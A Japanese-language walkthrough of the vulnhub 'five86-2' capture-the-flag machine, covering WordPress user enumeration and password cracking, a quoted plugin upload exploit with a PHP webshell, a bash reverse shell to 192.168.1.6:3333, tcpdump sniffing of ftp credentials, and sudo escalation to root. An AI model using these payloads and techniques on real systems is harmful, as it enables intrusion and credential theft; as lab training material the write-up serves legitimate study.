靶機難易度:初級 +
ツールおよび脆弱性情報#
- netdiscover
- nmap
- gobuster
- tcpdump
0x01 情報収集#
靶機のスキャン#
netdiscoverの-rパラメータで192.168.1.0/16をスキャンするか、ルーター管理画面で有線接続のデバイスを確認して靶機のipを取得します。
nmapでホストおよびポート情報をスキャン:
nmap -sS -A -n -T4 -p- 192.168.1.3

開いているポートは少ないですが、wordpressが見えます。
ページの読み込みが非常に遅く、完了するまでに時間がかかります。また、読み込まれたページは不完全です。

このページは完全なインターフェースに修正可能で、パケットキャプチャを行います:

正常な応答パケットのurlはhttp://five86-2/であることがわかり、hostsファイルを修正します:
Windows:C:\Windows\System32\drivers\etc\hosts
Linux:/etc/hosts
一行追加:靶機ip five86-2
これでページを正常に開けるようになります:

wpscan#
wordpressだけが私たちの道を提供しているので、直接wpscanを使用します。
使用方法およびデータベースの更新方法は、私の以前の記事《用 wpscan 对 wordpress 站点进行渗透》にあります。
ユーザーをスキャン:
wpscan --url 192.168.1.3 -e u

以下のユーザーがいます:
- admin
- barney
- gillian
- peter
- stephen
users.txtに保存し、次にwpscanでパスワードクラッキングを行います:
wpscan --url http://192.168.1.3 -U users.txt -P /usr/share/wordlists/rockyou.txt -t 100
(kaliに付属のrockyou.txt.gzファイルは事前に解凍する必要があります:gzip -d /usr/share/wordlists/rockyou.txt.gz)
最後に、2 つのユーザーのパスワードがクラッキングされました;
- barney:spooky1
- stephen: apollo1
0x02 RCE リバースシェル#
アカウントのパスワードを取得した後、ログインして作業を開始できます:

先ほどスキャンした際にプラグインが見つかりませんでしたが、ログインすると 3 つのプラグインがあります:

それぞれexploit-dbで検索したところ、RCEの脆弱性を見つけました:

# Exploit Title: Authenticated code execution in `insert-or-embed-articulate-content-into-wordpress` Wordpress plugin
# Description: It is possible to upload and execute a PHP file using the plugin option to upload a zip archive
# Date: june 2019
# Exploit Author: xulchibalraa
# Vendor Homepage: https://wordpress.org/plugins/insert-or-embed-articulate-content-into-wordpress/
# Software Link: https://downloads.wordpress.org/plugin/insert-or-embed-articulate-content-into-wordpress.4.2995.zip
# Version: 4.2995 <= 4.2997
# Tested on: Wordpress 5.1.1, PHP 5.6
# CVE : -
## 1. index.html, index.phpの2つのファイルを含む.zipアーカイブを作成
echo "<html>hello</html>" > index.html
echo "<?php echo system($_GET['cmd']); ?>" > index.php
zip poc.zip index.html index.php
## 2. プラグイン機能にアクセスできる任意のユーザーロールでwp-adminにログイン(デフォルトでは`Contributors`ロールでもアクセス可能)
## 3. 新しい投稿を作成 -> `Add block`を選択 -> E-Learning -> poc.zipをアップロード -> 挿入方法:Iframe -> 挿入(チュートリアル https://youtu.be/knst26fEGCw?t=44 と同様)
## 4. アップロード後に表示されるURLからウェブシェルにアクセス
http://website.com/wp-admin/uploads/articulate_uploads/poc/index.php?cmd=whoami
youtubeに簡単なステップチュートリアルがあります。
それに従って、コードを適切に修正します:
echo "<html>hello</html>" > index.html
index.phpに以下の内容をvimで書き込みます
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.6/3333 0>&1'");
zip poc.zip index.html index.php

index.phpにリバースシェルのコマンドを書く方法は多くありますので、自分で検索してください。
新しい投稿を作成し、デフォルトのテンプレートではブロックを追加するように求められます。E-Learningモジュールを選択:

アップロードをクリックし、私たちのpoc.zipを選択:


upload completeと表示されたら、最後までスクロールしてinsertをクリックすると、アップロードされたパスが得られます:

この時点で、私のシェルは靶機に正常にアップロードされました。まず、ローカルでnc -lvp 3333を開始します。
次に、私たちのシェルにアクセスします:
http://five86-2/wp-content/uploads/articulate_uploads/poc/index.php
ローカルでシェルを取得しました:

0x03 tcpdump パケットキャプチャ ftp アカウントとパスワード#
このシェルは使いにくいので、古い方法でpythonを使ってttyを開始します:
python -c 'import pty; pty.spawn("/bin/bash")' # 一部の環境ではPython2がインストールされていないため、python3 -cに変更する必要があります
/homeディレクトリに移動すると、以前にクラッキングしたアカウントが見つかりました:

そのうちの 1 つにログインします:stephen: apollo1、cron ジョブとsudo -l権限を確認します:

結果は得られず、idでグループを確認するとpcapグループが見つかりました。

ip addでネットワークインターフェースを確認すると、奇妙なネットワークインターフェースが見つかりました:

pcapはネットワークトラフィックに関連しているため、トラフィックツールtcpdumpを使用してパケットをキャプチャします:
timeout 120 tcpdump -w soap.pcap -i vethb26451b
timeout 120:tcpdumpのタイムアウト時間を120秒に設定
tcpdump -wはファイルに保存し、-iはリッスンするネットワークインターフェースを指定します
ルートディレクトリで実行する必要があり、2 分後に停止します:

その後、tcpdumpでファイルを開いて確認します:
tcpdump -r soap.pcap |more

パケット内でftpアカウントのユーザー名とパスワードが見つかりました:paul:esomepasswford、切り替えてみます。
0x04 sudo 権限昇格 root#
切り替えた後、習慣的にsudo -lで実行可能なsudoコマンドを確認します:

sudoを使ってpeterユーザーとして/usr/sbin/serviceを実行し、/bin/bashに切り替えます。
この時点で、peterユーザーに切り替わりました:
sudo -u peter /usr/sbin/service ../../bin/bash

切り替えた後、peterアカウントのsudo権限を確認します:

rootユーザーとして無パスワードで/usr/bin/passwdを実行できるため、直接rootアカウントのパスワードを変更できます:
sudo -u root passwd root

/rootディレクトリでflagを取得:

この記事は終了です。
PS:
vulnhub 靶機の簡単な難易度のパターンはほぼ一通り行いました。新しい知識点の靶機は一つか二つだけですので、今回は行いません。
次は面白い靶機を選択する予定です。このシリーズはもう数篇しかないでしょう(おそらく)
参考記事: